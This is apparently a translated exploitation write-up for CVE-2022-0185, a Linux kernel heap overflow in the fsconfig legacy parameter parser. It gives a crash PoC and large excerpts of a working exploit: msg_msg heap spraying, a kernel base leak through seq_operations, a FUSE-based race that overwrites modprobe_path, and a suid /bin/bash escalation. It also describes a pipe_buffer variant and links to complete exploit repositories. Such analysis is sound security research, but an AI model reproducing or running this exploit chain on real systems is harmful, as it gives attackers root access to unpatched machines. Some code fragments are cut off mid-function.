Effetto di elevazione dei privilegi

![image-20220302154151113](https://assets.kitploit.com/production/public/readmes/23851/8a05fdeba02fe0085dd469683ac49ca6e97ab8f291d904ed417ac022fe68ac76.png)

## Principio della vulnerabilità

La vulnerabilità si verifica nella chiamata di sistema `fsconfig` con l'opzione `FSCONFIG_SET_STRING`, utilizzata per configurare un contesto di filesystem già aperto. **Il prerequisito è possedere il privilegio `CAP_SYS_ADMIN`**:

> Lo scopo principale di `fsopen` è creare un contesto di filesystem e associarlo a un descrittore di file, restituendo il descrittore. Dopo `fsopen`, viene utilizzato `fsconfig`. Come si può intuire dal nome, con `fsopen` abbiamo creato un contesto di filesystem, e `fsconfig` serve probabilmente per configurare il contenuto di quel contesto. In effetti, `fsconfig` è principalmente dedicato a questa attività di configurazione, ma oltre al contesto di filesystem supporta anche altre operazioni.

### Punto di innesco della vulnerabilità

Innanzitutto, la vulnerabilità si trova nella funzione `legacy_parse_param`:

linux-5.11\fs\fs_context.c : 502 : legacy_parse_param```c
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
	struct legacy_fs_context *ctx = fc->fs_private;
	unsigned int size = ctx->data_size;
	size_t len = 0;

	··· ···
	··· ···

	switch (param->type) {
	case fs_value_is_string:
		len = 1 + param->size;
		fallthrough;
	··· ···
	}

	if (len > PAGE_SIZE - 2 - size) //此处边界检查有问题
		return invalf(fc, "VFS: Legacy: Cumulative options too large");
	if (strchr(param->key, ',') ||
	    (param->type == fs_value_is_string &&
	     memchr(param->string, ',', param->size)))
		return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
			      param->key);
	if (!ctx->legacy_data) {
		ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次时会分配一页大小
		if (!ctx->legacy_data)
			return -ENOMEM;
	}

	ctx->legacy_data[size++] = ',';
	len = strlen(param->key);
	memcpy(ctx->legacy_data + size, param->key, len);
	size += len;
	if (param->type == fs_value_is_string) {
		ctx->legacy_data[size++] = '=';
		memcpy(ctx->legacy_data + size, param->string, param->size); //拷贝，可能越界
		size += param->size;
	}
	ctx->legacy_data[size] = '\0';
	ctx->data_size = size;
	ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
	return 0;
}

### Percorso di chiamata

Qui analizziamo lo stack di chiamate di funzione. Prima di tutto, l'entry point è sicuramente la system call `fsconfig`:

linux-5.11\fs\fsopen.c : 314 : SYSCALL_DEFINE5(fsconfig,...```c
SYSCALL_DEFINE5(fsconfig,
		int, fd,
		unsigned int, cmd,
		const char __user *, _key,
		const void __user *, _value,
		int, aux)
{
	struct fs_context *fc;
	struct fd f;
	int ret;
	int lookup_flags = 0;

	struct fs_parameter param = {
		.type	= fs_value_is_undefined,
	};

	··· ···
	f = fdget(fd);
	if (!f.file)
		return -EBADF;
	ret = -EINVAL;
	if (f.file->f_op != &fscontext_fops)
		goto out_f;

	fc = f.file->private_data; //设置fc
    
	··· ···
	switch (cmd) {
	··· ···
	case FSCONFIG_SET_STRING:
		param.type = fs_value_is_string;
        //初始化结构体中的联合体中的string成员为用户传入的字符串
		param.string = strndup_user(_value, 256); 
		if (IS_ERR(param.string)) {
			ret = PTR_ERR(param.string);
			goto out_key;
		}
		param.size = strlen(param.string);//设置size
		break;
	··· ···
    ··· ···
	}

	ret = mutex_lock_interruptible(&fc->uapi_mutex);
	if (ret == 0) {
		ret = vfs_fsconfig_locked(fc, cmd, &param);
		mutex_unlock(&fc->uapi_mutex);
	}

	··· ···
    ··· ···
}

ret = finish_clean_context(fc);
if (ret)
	return ret;
switch (cmd) {
··· ···
default:
	if (fc->phase != FS_CONTEXT_CREATE_PARAMS &&
	    fc->phase != FS_CONTEXT_RECONF_PARAMS)
		return -EBUSY;

	return vfs_parse_fs_param(fc, param);
}
fc->phase = FS_CONTEXT_FAILED;
return ret;

Innanzitutto viene chiamata la funzione `finish_clean_context`, che a sua volta chiama la funzione `legacy_init_fs_context` per registrare la tabella delle funzioni callback, e tale tabella include la funzione vulnerabile `legacy_parse_param`.

linux-5.11\fs\fs_context.c ```c
 int finish_clean_context(struct fs_context *fc)
 {
     ··· ···
 		error = legacy_init_fs_context(fc);
 	··· ···
 }
 
 static int legacy_init_fs_context(struct fs_context *fc)
 {
 	fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
 	if (!fc->fs_private)
 		return -ENOMEM;
 	fc->ops = &legacy_fs_context_ops; //注册回调函数表
 	return 0;
 }
 
 const struct fs_context_operations legacy_fs_context_ops = {
 	.free			= legacy_fs_context_free,
 	.dup			= legacy_fs_context_dup,
 	.parse_param		= legacy_parse_param, //漏洞函数
 	.parse_monolithic	= legacy_parse_monolithic,
 	.get_tree		= legacy_get_tree,
 	.reconfigure		= legacy_reconfigure,
 };

if (fc->ops->parse_param) {
	ret = fc->ops->parse_param(fc, param); //漏洞所在函数
	if (ret != -ENOPARAM)
		return ret;
}

··· ···
··· ···

Panoramica generale di seguito

- SYSCALL_DEFINE5(fsconfig,... : punto di ingresso della syscall
  - vfs_fsconfig_locked
    - finish_clean_context
      - legacy_init_fs_context : registra tabella di funzioni callback
    - vfs_parse_fs_param
      - legacy_parse_param : vulnerabilità

## POC di riproduzione della vulnerabilità

poc di riproduzione della vulnerabilità:```c
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)

int main(void)
{
        char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        int fd = 0;
        fd = fsopen("ext4", 0);
        if (fd < 0) {
                puts("Opening");
                exit(-1);
        }
        for (int i = 0; i < 5000; i++) {
                fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
        }
        return 0;
}

Passa a un altro terminale e usa gdb per il debug remoto:```shell
cd ~ 
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b legacy_parse_param 
c

··· ···
//后面代码将msg 添加到消息队列。    
··· ···

`do_msgsnd` La lunghezza massima consentita del messaggio è 8192:

![image-20220303103936073](https://assets.kitploit.com/production/public/readmes/23851/a3096424c425c66976d945886e4f52aea5d63ffba9f71d1195b28a335267556f.png)

Poi è necessario analizzare attentamente la funzione `load_msg`, poiché nella funzione `load_msg` viene utilizzata la funzione `alloc_msg` per allocare spazio di memoria e organizzare la struttura del messaggio. Qui analizziamo prima la funzione `alloc_msg`:

linux-5.11\ipc\msgutil.c : 46 : alloc_msg```c
static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;
    //#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
	alen = min(len, DATALEN_MSG); 
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	··· ···
    ··· ···
	while (len > 0) {
		struct msg_msgseg *seg;

		cond_resched();
        //#define DATALEN_SEG	((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	··· ···
}

Quindi la struttura della composizione del messaggio è simile a:

![image-20220304093214147](https://assets.kitploit.com/production/public/readmes/23851/c293330c8e179cbe189b7f24631f238fb03b2b56d2571dda30298b4c94f5431d.png)

I messaggi esistono in una coda di messaggi, gestita da una lista doppiamente collegata; i messaggi stessi sono ancora memorizzati in segmenti, collegati da una lista singolarmente collegata. Ogni segmento ha una lunghezza massima di una pagina (4K). Successivamente, analizzeremo la funzione `do_msgsnd`:

linux-5.11\ipc\msgutil.c : 84 : load_msg```c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

	msg = alloc_msg(len); //根据消息长度生成上图那种结构体
	if (msg == NULL)
		return ERR_PTR(-ENOMEM);

	alen = min(len, DATALEN_MSG);     //根据分段情况从用户空间分段拷贝，这里拷贝第一段
	if (copy_from_user(msg + 1, src, alen))
		goto out_err;

	for (seg = msg->next; seg != NULL; seg = seg->next) { //按顺序拷贝剩下的部分
		len -= alen;
		src = (char __user *)src + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_from_user(seg + 1, src, alen))
			goto out_err;
	}
    ··· ···
    ··· ···
}

return bufsz;

Quando il flag `MSG_EXCEPT` è presente in `msgflg` (configurazione predefinita, opzione di compilazione `CONFIG_CHECKPOINT_RESTORE`), viene utilizzato l'invio di messaggi di backup. La logica specifica è: prima si alloca una struttura messaggio come backup del messaggio, dopo aver trovato il messaggio lo si copia nel backup, poi si invia allo spazio utente e infine si rilascia il backup. **In questo modo il messaggio originale non viene rimosso dalla coda tramite `unlink`**, ciò che vogliamo è proprio "l'azione di non rimuovere il messaggio originale dalla coda tramite `unlink`". Perché a volte, con un overflow, sovrascriviamo i puntatori della lista doppiamente collegata nell'intestazione del messaggio, causando un crash durante l'`unlink`, cosa che non vogliamo vedere.

Più o meno queste sono le conoscenze necessarie, le tecniche di sfruttamento coinvolte sono:

- Usare la funzione `msgsnd` per eseguire operazioni di spruzzatura nell'intervallo `kmalloc-64` ~ `kmalloc-4k` (tecnica tradizionale)
- Se si riesce a sovrascrivere il membro `m_ts` dell'intestazione di `msg_msg`, si modifica la lunghezza del messaggio, causando una lettura fuori dai limiti (nuova tecnica)
- Se si riesce a sovrascrivere il membro `struct msg_msgseg *next` dell'intestazione di `msg_msg` **durante il processo di `load_msg`**, si può ottenere una lettura/scrittura arbitraria. Questo di solito sfrutta una condizione di gara con `userfaulted`, ma nei kernel più recenti non è più possibile chiamare `userfaulted` dallo spazio utente. Qui si adotta un nuovo metodo.

#### Sostituto di `userfaulted`

Secondo l'analisi precedente della funzione `load_msg`, dopo che `alloc_msg` ha allocato la memoria per il messaggio, copia il messaggio dallo spazio utente. Se il messaggio è un messaggio segmentato lungo, è necessario copiarlo per segmenti. Se durante la copia del primo segmento si verifica un page fault, l'operazione di copia viene sospesa in attesa che l'eccezione venga gestita. In questo momento, sfruttando l'overflow per sovrascrivere il puntatore `msg_msgseg *next` in `msg_msg`, quando la gestione dell'eccezione termina e si riprende la copia del secondo segmento, si sovrascrive con contenuto arbitrario l'indirizzo specificato (scrittura arbitraria).

Normalmente questo richiederebbe la registrazione di una funzione di gestione dei page fault dello spazio utente, ma nelle versioni recenti non è più possibile chiamare la syscall `userfaulted` senza privilegi. Qui viene fornito un nuovo metodo: il filesystem utente `fuse`. Si può registrare un filesystem utente usando `fuse`, con proprie funzioni `read`, `write`, ecc. In questo modo, quando si verifica un page fault, si torna comunque allo spazio utente per gestire l'interruzione.

Vale la pena notare che fuse non ha una libreria compilata staticamente. BitsByWill e D3v17 l'hanno ritagliata, rimuovendo dlopen e altre cose, creando una libfuse3.a compilabile staticamente. Dì grazie a BitsByWill e D3v17.

[Riferimento](https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf)

#### Indirizzo di leak

Anche questa è una procedura standard nel kernel pwn: usare la struttura `seq_operations` per leakare indirizzi, che contiene tutti puntatori a funzioni:```c
struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

if (op) {
	op->start = single_start;
	op->next = single_next;
	op->stop = single_stop;
	op->show = show;
	res = seq_open(file, op);

Inizializzare tutti i puntatori a funzione nella struttura `single_open` a funzioni del kernel; se uno qualsiasi viene divulgato, è possibile divulgare l'indirizzo di base del kernel.

#### Escalation dei privilegi

Tecnica tradizionale del kernel pwn: `modprobe_path`, una stringa nel kernel che punta a un percorso, per impostazione predefinita `/sbin/modprobe````c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";

if (!fork()) //子进程注册一个fuse 文件系统，用于提供userfaulted
{
    fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
}

sleep(1);
spray_4k(30);//堆将现有的free kmalloc消耗掉
uint64_t kbase = 0;
while(!kbase)  //泄露kernel 基址部分
{
    kbase = do_leak();
}
··· ···

spray_4k(30);//堆将现有的free kmalloc消耗掉
while (1) 
{
    do_win(); //任意地址写修改modprobe_path完成利用部分
    ··· ···
}

··· ···

exp主要分文两部分，分别是泄露和任意地址写。

#### 泄露kernel 基地址

我觉得该exp 的泄露部分用的非常巧妙，先溢出覆盖未被使用的部分，然后申请需要溢出覆盖的结构体这样不会破坏目标意外的部分，然后继续溢出精准覆盖目标。

主要是`do_leak`函数

CVE-2022-0185-master\exploit_fuse.c : 33 : do_leak```c
uint64_t do_leak () 
{
    uint64_t kbase = 0;
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    int targets[0x10] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1018;

    // spray msg_msg
    for (int i = 0; i < 8; i++)   //[1]先申请8个独立的消息队列，每个里面存放一条消息
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0); 
    }/*消息大小 0x1018-0x30,实际会分成两段
      *第一段 消息头msg_msg 0x30 和消息0xfd 共0x1000 kmalloc-4k
      *第二段 消息段头 msg_msgseg 0x8 和消息0x18 共0x20 kmalloc-32*/

    memset(pat, 0x42, sizeof(pat));
    pat[sizeof(pat)-1] = '\x00';
    puts("[*] Opening ext4 filesystem");

    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
            puts("fsopen: Remember to unshare");
            exit(-1);
    }

    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++)  
    {  //[2]溢出准备，多次调用fsconfig 将legacy_data 长度填充到4095准备溢出
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }
    
    // overflow, hopefully causes an OOB read on a potential msg_msg object below
    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x10";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    /*[3]溢出部分，输入长度21,由于每次溢出会自动加上",="所以实际23，再加上之前长度4095总共溢出22
     *这里正常情况发生溢出溢出的是还没被使用(分配)过的内存*/

    // spray more msg_msg
    for (int i = 8; i < 0x10; i++) 
    {//[4]继续msgsnd，申请msg_msg 结构体，大概率申请到将legacy_data后面的地方
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }//msg_msg 头会覆盖刚刚溢出的内容

    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    /*[5]继续溢出，legacy_data+size 的指针指向的位置正好在msg_msg结构体的中间，m_ts 位之前
     *刚好覆盖m_ts，修改msg 的大小*/

    puts("[*] Done heap overflow");
    puts("[*] Spraying kmalloc-32");
    for (int i = 0; i < 100; i++) 
    {//[6]上面提到过的泄露地址用结构体,多次打开stat，喷射多个0x20的seq_operations结构体
        open("/proc/self/stat", O_RDONLY);
    }//大概率会喷射到消息第二段0x20(kmalloc-32) 的后面

    size = 0x1060;//接受消息的长度
    puts("[*] Attempting to recieve corrupted size and leak data");

    // go through all targets qids and check if we hopefully get a leak
    for (int j = 0; j < 0x10; j++) 
    {//[7]接受消息，某一个消息的长度被改大，则会越界读到后面的seq_operations结构体
        get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        kbase = do_check_leak(recieved);//泄露成功
        if (kbase) 
        {
            close(fd);
            return kbase;
        }
    }

    puts("[X] No leaks, trying again");
    return 0;
}

int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(target, message, size - 0x30, 0); 
//[2]设定消息长度为0xfe的消息，会分成两段

puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0) 
{
        puts("Opening");
        exit(-1);
}
puts("[*] Overflowing...");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++) //[3]溢出前填充工作
{
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}

puts("[*] Prepaing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0)
{
    perror("evil fd failed");
    exit(-1);
}
//[4]使用fuse 文件系统mmap 一页，在0x1338000，也就是上面mmap 的后面
if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
{
    perror("mmap fail fuse 1");
    exit(-1);
}

pthread_t thread;
int race = pthread_create(&thread, NULL, arb_write, NULL);
if(race != 0)
{
    perror("can't setup threads for race");
}
//[5]发送消息，消息开头在第一个mmap 页的末尾，会触发page fault，等待中断处理
send_msg(target, rooter, size - 0x30, 0);
//[6]开启线程，线程执行溢出操作，在等待中断处理的过程中覆盖msg_msg 的mst_msgseg *next指针
pthread_join(thread, NULL);
munmap((void *)0x1337000, 0x1000);
munmap((void *)0x1338000, 0x1000);
close(evil_fd);
close(fd);

size_t len = 0x1000;

···

memcpy(buf, evil_buffer + offset, size); 

// sync with the arb write thread
read(fuse_pipes[0], &signal, 1); //[7]等待溢出操作完成,返回，完成任意地址写

return size;

1. `mmap` una pagina a 0x1337000

2. Imposta la lunghezza del messaggio a 0x1010-0x30=0xfe0, in modo che il messaggio venga diviso esattamente in due parti

3. `fsconfig` prepara il riempimento prima dell'overflow, richiedendo un `kmalloc-4k`

4. Usa il filesystem fuse già registrato per `mmap` una pagina a 0x1338000 (pagina 2)

5. Invia un messaggio di lunghezza 0xfe0, richiedendo un `kmalloc-4k` e un `kmalloc-32`. Il messaggio inizia alla fine della pagina 1. A questo punto, **la funzione `copy_from_user` all'interno di `msgsnd` copia il messaggio dallo spazio utente allo spazio kernel. Quando copia nella pagina 2, viene generato un page fault che invoca la funzione `evil_read` del filesystem fuse nello spazio utente**. Questa funzione è specificata da noi e scrive il contenuto desiderato nel kernel. Inoltre, questa funzione attende che il processo sottostante termini prima di restituire il controllo.

6. A questo punto, avvia un nuovo processo. Questo nuovo processo completa l'operazione di overflow, sovrascrivendo il puntatore `msg_msgseg *next` nell'header del messaggio successivo `msg_msg` in modo che punti a `modprobe_path`. Quindi invia un segnale di completamento alla funzione `evil_read`.

7. `evil_read` restituisce il controllo, completando la scrittura arbitraria. `modprobe_path` viene alterato in `"/tmp/w"`.

   ![image-20220304120016782](https://assets.kitploit.com/production/public/readmes/23851/82f415b1c760afd5364ee0bf049e9e8f73faae7ba4a30eac735b5f4f03019fa4.png)

Diagramma:

![image-20220304120052081](https://assets.kitploit.com/production/public/readmes/23851/fd4ef7b7e641a222dd6ec8a97133b2aa86de37ac0a09c2d560f694d7774826fa.png)

Poiché `modprobe_path` è stato modificato, consideriamo l'escalation dei privilegi riuscita. Le successive operazioni di escalation nell'exploit vengono completate aggiungendo il permesso suid a `/bin/bash`. Tuttavia, ciò non è più importante.

![image-20220304120219927](https://assets.kitploit.com/production/public/readmes/23851/8feed8f8d70c44f9182a703e9d2904af9e7e2633453e6d121c871806637f7b7a.png)

### [Nuovo] Analisi dell'exploit (versione universale dirty pipe artificiale)

Fonte: [veritas501/CVE-2022-0185-PipeVersion](https://github.com/veritas501/CVE-2022-0185-PipeVersion)

L'idea principale deriva dalla divulgazione di CVE-2022-0847 (dirty pipe), che ha rivelato un meccanismo di pipe e splice:

1. Una pipe è composta da 16 pagine di cache. Ogni volta che si scrive nella pipe, viene controllato a quale pagina si è arrivati. Se la pagina corrente non è stata ancora completamente scritta, si tenta di continuare a scrivere in essa. Tuttavia, non tutte le pagine possono essere riscritte, come nel caso seguente.
2. `splice` permette di trasferire file in una pipe sostituendo direttamente le pagine di cache del file con quelle della pipe. Le pagine di cache sostituite in questo modo non consentono la riscrittura nella pipe.
3. Dalla versione 5.8, viene utilizzato `pipe_buffer->flags` per determinare se una pagina può essere riscritta. Prima della versione 5.8, si utilizzava `pipe_buffer->ops` per verificare se era `anon_pipe_buf_ops`.

La causa della vulnerabilità dirty pipe è la mancata inizializzazione di `pipe_buffer->flags`, che permette di riscrivere le pagine di cache dei file trasferiti tramite splice. Sebbene sia stata corretta, se possiamo alterare i flag a nostro piacere, possiamo creare una "dirty pipe artificiale"? La risposta è sì. Si noti che dirty pipe è una vulnerabilità che non richiede alcuna fuga di indirizzi per essere sfruttata, e `pipe_buffer` è una struttura vittima comune nello sfruttamento delle vulnerabilità del kernel. Alterare i suoi flag o ops è estremamente facile. Di seguito viene descritto come realizzare un exploit universale tramite dirty pipe artificiale:

Per prima cosa, crea un certo numero di code di messaggi. Ogni coda contiene un `msg_msg` di dimensione 0x1400, in modo che il messaggio venga diviso in due parti: una di 0x1000 e una di 0x400. Quindi, usa l'overflow write per modificare il bit `m_ts` nell'header del messaggio principale a 0x1800:

![image-20220524162516400](https://assets.kitploit.com/production/public/readmes/23851/8f7a4445daae2ccbe7f813041c77de1cbffe97a9b6d6958902153a6a76f60043.png)

In questo modo, puoi determinare quale coda ha il `msg_msg` overflowato trovando un **msgid in grado di leggere con successo una lunghezza di 0x1800**. Inoltre, devi identificare, tramite overflow read, che ciò che segue è la seconda parte (sec2) di un altro messaggio. Quindi rilascia tutte le altre code di messaggi tranne questa:

![image-20220524162832450](https://assets.kitploit.com/production/public/readmes/23851/815b76bfabcd1451b26e7276fffd367c213a1f55c1ee47718e9d5a1f7bab2a04.png)

Successivamente, crea un certo numero di code di messaggi, ciascuna contenente 16 (o un certo numero) di `msg_msg` di 0x400. In condizioni ideali, un messaggio di una delle code occuperà lo slab freed 0x400 della linea tratteggiata nell'immagine precedente, formando il layout seguente. Il 5° messaggio della coda X ha ottenuto quello slab:

![image-20220524164354436](https://assets.kitploit.com/production/public/readmes/23851/00a52c4c473964335ca823f880581a8b46dddbf734c232f6460cb002a15009ac.png)

Quindi, tramite l'overflow read da msg1, ottieni il valore `prev` di msg5, cioè l'indirizzo di msg4. Utilizzando il contenuto che abbiamo disposto in `msg`, possiamo determinare il numero di coda X e il numero di sequenza del messaggio nella coda (5).

Successivamente, rilascia msg6 e tutti i messaggi successivi a msg6. Quindi, aggiungi un nuovo messaggio nella coda X. Il nuovo messaggio verrà comunque posizionato dopo msg5, cioè nuovo msg6 (newmsg6). In newmsg6, posiziona (in un indirizzo la cui parte finale non è 0x00) un falso header messaggio (fake head), che punta a msg4, come mostrato di seguito:

![image-20220524164937406](https://assets.kitploit.com/production/public/readmes/23851/896247923a72798b59b91bc90cde45d44c6cd5e5c0001e654e83533260e619d8.png)

Quindi, esegui un'altra overflow read, registra l'indirizzo del fake head in newmsg6. Somma al valore di `msg5->next` letto tramite overflow read l'offset che abbiamo disposto:

![image-20220524165719754](https://assets.kitploit.com/production/public/readmes/23851/c9b397893438a567dcb586b9c524ab9bffb2a7df6cdc3b26d55424ba68d81581.png)

Quindi, ripeti l'operazione: esegui nuovamente un overflow write, questa volta sovrascrivendo il puntatore `next` nell'header del messaggio in modo che punti al fakeHead in newmsg6, di cui abbiamo appena ottenuto l'indirizzo:

![image-20220524171400377](https://assets.kitploit.com/production/public/readmes/23851/932e25844488038a248cc42c13bf35e60a8e85d539283cc6ad95395b734415cd.png)

Rilascia direttamente msg4 tramite msgX. Quindi, crea uno `sk_buff` per occupare lo slab di msg4 rilasciato, e falsifica `next` e `prev` in modo che puntino a se stesso (indirizzo già noto in precedenza), per bypassare l'unlink di `msg` quando verrà rilasciato una seconda volta:

![image-20220524171449841](https://assets.kitploit.com/production/public/readmes/23851/a67430472b9b0476f86a210d671450fc3bd81529971dd8b3eea38c6705dc134e.png)

Quindi, rilascia di nuovo msg4 usando la coda newmsg1, quindi occupalo ancora una volta con `pipe_buffer`, facendo in modo che `sk_buff` e `pipe_buffer` occupino la stessa regione, formando la seguente situazione:

![image-20220524172342828](https://assets.kitploit.com/production/public/readmes/23851/3eff50c82acceb7a6daa079fe183611a131cd4212da941eaef09551380c5bbbc.png)

Le operazioni successive seguono direttamente la seconda metà della "[Equazione della vittoria](https://blog.csdn.net/Breeze_CAT/article/details/124887764)". Exploit: https://github.com/veritas501/CVE-2022-0185-PipeVersion

![image-20220524180848317](https://assets.kitploit.com/production/public/readmes/23851/be1db757bd7c73f8f8d56e8ec7c0399e92c69b5a27fe7b945ae634a54ee7c707.png)

## Tecniche di debug

Simboli correlati:```
ffffffff81356040 t legacy_parse_param
ffffffff814927f0 t do_msgsnd
ffffffff81493550 t do_msgrcv

ffffffff813400b0 t single_start
ffffffff82c6c2e0 D modprobe_path

## Riferimenti

github：[Crusaders-of-Rust/CVE-2022-0185](https://github.com/Crusaders-of-Rust/CVE-2022-0185)

writeup：https://www.willsroot.io/2022/01/cve-2022-0185.html

veritas501: [Analisi e sfruttamento di CVE-2022-0185 e riflessioni/pratiche sul nuovo primitivo pipe](https://veritas501.github.io/2022_03_16-CVE_2022_0185%E5%88%86%E6%9E%90%E5%8F%8A%E5%88%A9%E7%94%A8%E4%B8%8Epipe%E6%96%B0%E5%8E%9F%E8%AF%AD%E6%80%9D%E8%80%83%E4%B8%8E%E5%AE%9E%E8%B7%B5/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8)